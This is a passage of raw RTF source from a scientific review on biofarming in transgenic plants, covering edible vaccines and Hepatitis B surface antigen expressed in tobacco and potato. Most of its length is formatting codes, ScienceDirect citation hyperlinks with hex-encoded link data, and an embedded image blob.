\picscalex864\picscaley6\piccropl0\piccropr0\piccropt0\piccropb0\picw1764\pich882\picwgoal1000\pichgoal500\wmetafile8\bliptag-1453943903\blipupi-85{\*\blipuid a95693a1a9662986103ec9c6db5fcdb0}
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\v\fs20\insrsid4943116\charrsid16345645 
\par }\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl3
\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}
{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\pard\plain \ltrpar
\qj \fi-1440\li0\ri0\sa200\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\v\fs20\insrsid4943116\charrsid16345645 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 {\*\bkmkstart fig1}{\*\bkmkstart BM1}{\*\bkmkend fig1}{\*\bkmkend BM1}
\par }\pard \ltrpar\qj \li0\ri0\sa200\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \v\fs20\insrsid4943116\charrsid16345645 \line 
\par }\pard \ltrpar\qj \fi-1440\li0\ri0\sa200\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11539518 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \v\fs20\cf2\insrsid4943116\charrsid16345645 View Within Article}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\cf2\insrsid803208 {\*\bkmkstart SECX12}{\*\bkmkend SECX12}\tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\fs20\insrsid4943116\charrsid803208 Pharmaceutical and industrial use
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                             }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
The ability to transfer genes across different plant species and kingdoms through genetic engineering is being exploited in terms of Biofarming. Biofarming refers to production of proteins and biomolecules in transgenic plants at agricultural scale. Th
e proteins mainly include antigens, antibodies, enzymes that are of immense importance in therapeutics, pharmaceutical and industrial applications. Though many of these proteins are being made in bacterial, fungal or animal systems, plants are now being p
r
eferred for manufacturing these proteins. The use of plants as bio-factories is attributed to many factors, such as plants offer cost effective and environmentally safe production of proteins as they use low-cost inputs such as light, water and minerals, 
p
lants allow mass production, suitable for production of eukaryotic proteins which may require post-translational modification, oligomerization etc. and naturally do not contain human pathogens. Among vegetables, potato and tomato are the most commonly use
d host systems for biofarming. The feasibility of vegetables as plant factories is very well illustrated in the form of edible vaccine, plantibodies (plant derived antibodies) and plant derived recombinant enzymes.
\par }\pard\plain \ltrpar\s4\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15940594\charrsid16345645 {\*\bkmkstart SECX13}{\*\bkmkend SECX13}\tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
1. Edible vaccines
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                               }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
The advancement in medical sciences has succeeded in the fight against infectious diseases of humans by producing vaccines. However, widespread vaccination remains elusive for the majority of the world populati
on due to constraints on vaccine production in animals, transport and delivery. Plants offer an effective way to circumvent these problems as virtually any protein can be expressed in a plant cell, antigens can be produced on a large scale in the crops, a
n
d the crops can be grown locally which will reduce transport requirements. Antigens can be expressed in plant storage organs, which are viable at room temperature, thus eliminating the need for refrigeration of antigens during transport and storage. Other
 
advantages of vaccine production in plant storage organs include elimination of the need for purification of antigen and possible source of contamination with pathogenic viruses that occasionally occurs when vaccine production is done in animals. The vacc
ines can be produced in edible parts of plants thus oral administration of vaccine will also abolish the need for needles, a possible source of contamination, and would not require trained personnel.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                            }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Vaccines produ
ced in edible parts of plants, e.g. grain, tuber or fruit, are known as edible vaccines. The development of edible vaccines is primarily focused on pathogens, which invade the host via the mucosal surfaces lining the digestive, respiratory and urino-repro
ductive tracts of the body.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10116046\charrsid16345645                                              }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
The concept of plant derived vaccine was realized when Hepatitis B surface antigen was expressed in tobacco by {\*\bkmkstart bbib51}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_ud
i=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib51&quot; }{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d003200340038003600620061006100300033003100300062003800650064003500630064006300350065003400300033003900390034006200360037003800360000000600000062006900620035003100000000eb000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Mason }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
. (1992)}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
. Subsequently several attempts were made to express antigens related to various diseases in edible parts of the plants ({\*\bkmkstart btbl2}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com
/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\
l &quot;tbl2&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d0032003400380036006200610061003000330031003000620038006500640035006300640063003500650034003000330039003900340062003600370038003600000005000000740062006c003200000000f9000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Table 2}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
). The vaccination of Hepatitis B virus is based on highly immunogenic surface antigen (HBsAg), which is secreted in infected patient&#039;s serum in the form of virus like particles (VLPs). The HBsAg has been expressed in tobacco and potato (}
{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort
=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib51&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003500310000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Mason }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al., }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 1992}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and 
{\*\bkmkstart\bkmkcolf0\bkmkcoll0 bbib62}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYP
ERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486
baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib62&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003600320000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Richter }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 2000}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
). The HbsAg extracted from transgenic tobacco leaves invoked immune response when administered parenterally ({\*\bkmkend bbib51}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=
2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib51&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003500310000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Mason }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al., }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 1992}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and {\*\bkmkstart bbib75}
{\*\bkmkend bbib75}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;ht
tp://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8e
d5cdc5e403994b6786&quot; \\l &quot;bib75&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003700350000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Thanavala }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.,}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645  1995}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
). To make HBsAg vaccine suitable for oral delivery, }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=Artic
leURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib62&quot; }{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003600320000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Richter }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645  (2000)}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645 
 developed transgenic potatoes expressing HBsAg under the transcriptional control of a tuber specific patatin promoter. Potato tubers accumulated 1.1\~\&#039;ecg of }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 HBsAg\~g}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 \u8722\&#039;2d1}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645  fresh tuber. Mice fed with transgenic tuber (5.5\~\&#039;ecg\~dose}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 \u8722\&#039;2d1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
) developed primary immune response, which could be boosted by single sub-immunogenic dose of commercial HBsAg vaccine indicating that plants expressing HBsAg vaccine in edible tissue may be used for oral immunization of Hepatitis B (}
{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;
_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib62&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003600320000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Richter }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 2000}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }\pard\plain \ltrpar\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid5730884\charrsid16345645                                                }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid5443610\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\v\fs20\insrsid15082596\charrsid16345645 {\pict{\*\picprop\shplid1028{\sp{\sn shapeType}{\sv 1}}{\sp{\sn fFlipH}{\sv 0}}{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fillColor}{\sv 10070188}}{\sp{\sn fFilled}{\sv 1}}
{\sp{\sn fLine}{\sv 0}}{\sp{\sn alignHR}{\sv 1}}{\sp{\sn dxHeightHR}{\sv 30}}{\sp{\sn fLayoutInCell}{\sv 1}}{\sp{\sn fStandardHR}{\sv 1}}{\sp{\sn fHorizRule}{\sv 1}}{\sp{\sn fLayoutInCell}{\sv 1}}}
\picscalex864\picscaley6\piccropl0\piccropr0\piccropt0\piccropb0\picw1764\pich882\picwgoal1000\pichgoal500\wmetafile8\bliptag-1453943903\blipupi-85{\*\blipuid a95693a1a9662986103ec9c6db5fcdb0}
010009000003d000000006001c00000000000400000003010800050000000b0200000000050000000c023900d50f040000002e0118001c000000fb0210000700
00000000bc02000000000102022253797374656d0000089a2e00dc992e0059faa573d0992e00249a2e0012000000040000002d010000040000002d0100000400
0000020101001c000000fb02a4ff0000000000009001000000000440002243616c69627269000000000000000000000000000000000000000000000000000400
00002d010100040000002d010100040000002d010100050000000902000000020d000000320a570000000100040000000000d20f380020003600050000000902
00000002030000001e0007000000fc020000aca899000000040000002d01020008000000fa02050000000000ffffff00040000002d0103000e00000024030500
ffffffffffff3800d50f3800d50fffffffffffff08000000fa0200000000000000000000040000002d01040007000000fc020000ffffff000000040000002d010500040000002701ffff040000002d010000040000002d010000030000000000}}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\v\fs20\insrsid4943116\charrsid16345645 
\par }\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl3
\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}
